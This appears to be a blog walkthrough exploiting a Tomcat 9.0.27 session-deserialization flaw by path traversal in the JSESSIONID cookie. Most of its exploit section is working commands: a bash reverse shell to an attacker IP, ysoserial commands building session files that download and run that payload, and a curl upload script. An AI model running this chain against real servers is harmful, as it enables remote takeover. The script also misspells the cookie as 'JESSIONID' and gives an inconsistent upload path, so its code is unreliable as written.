Apache Tomcat Server – Deserialization of Untrusted Data (RCE)

Apache Tomcat is an open-source implementation of the Java Servlet, JavaServer Pages, Java Expression Language, and WebSocket technologies. In this post, we will dive into the analysis of a vulnerability in the apache tomcat server 9.0.27.

Introduction

The vulnerability allows a remote attacker to execute arbitrary code on the target system. The vulnerability exists due to insecure input validation when processing serialized data in uploaded file names. A remote attacker can pass the specially crafted file name to the application and execute arbitrary code on the target system.

Prerequisites

  1. The attacker is able to upload a file with arbitrary content.
  2. We have to know the location where the file is uploaded
  3. The PersistentManager is enabled and it is using a FileStore.

Exploit

Tomcat provide two implementations for session management.

  • StandardManager
  • PersistentManager

When you are using PersistentManager first, it checks if the session exists in the memory, If the session does not exist in memory, it will check the session on the disk. When Tomcat receives an HTTP request with a JSESSIONID cookie, it will ask the Manager to check if this session already exists.  Because the attacker can control the value of JSESSIONID sent in the request, what would happen if he put something like “JSESSIONID=../../../../../../tmp/12345“?

  1. Tomcat requests the Manager to check if a session with session ID“../../../../../../tmp/12345 exists.
  2. It will first check if it has that session in memory.
  3. It does not. But the currently running Manager is a PersistentManager, so it will also check if it has the session on disk.
  4. It will check at location directory + sessionid + “.session”, which evaluates to “./session/../../../../../../tmp/12345.session“
  5. If the file exists, it will deserialize it and parse the session information from it.

Step 1:

We should first determine the server file upload path. It is located at /opt/sample/uploads in my application. I found it through the server exception in my application.

Step 2:

we need a payload to get the reverse shell. I used a simple bash shell for our payload.

				
					#! /bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.102/8888 0>&1"
				
			

Step 3:

Next, we need to create a serialized session file to download our payload with curl. To do this, I used a ysoserial jar file. you can download it from here.

Create Session file to download our payload to the victim machine:

				
					java -jar ysoserial-master-4df2ee2bb5-1.jar CommonsCollections2 'curl http://10.10.14.102/payload.sh -o /tmp/payload.sh' > downloadPayload.session
				
			

Then, Create a second serialized session file to execute our payload.

				
					java -jar ysoserial-master-4df2ee2bb5-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session
				
			

Now we have created two session files as our malicious session payload.

Step 4:

Now, we are going to create a simple bash script to send the curl command with the cookie and our malicious files.

				
					#! /bin/bash
curl http://10.10.10.205:8080/upload.jsp -H 'Cookie:JESSIONID=../../../opt/sample/uploads/downloadPayload' -F 'image=@downloadPayload.session'
sleep 1
curl http://10.10.10.205:8080/upload.jsp -H 'Cookie:JESSIONID=../../../opt/sample/uploads/executePayload' -F 'image=@executePayload.session'
				
			

Note: The server address 10.10.10.205:8080 is our tomcat server and ../../../opt/samples/uploads/ is the file upload path.

Now you can execute the curl bash script which we created in step 4 and get the reverse shell as the tomcat user. 😎

References

Share this post:

Leave a Reply

Your email address will not be published. Required fields are marked *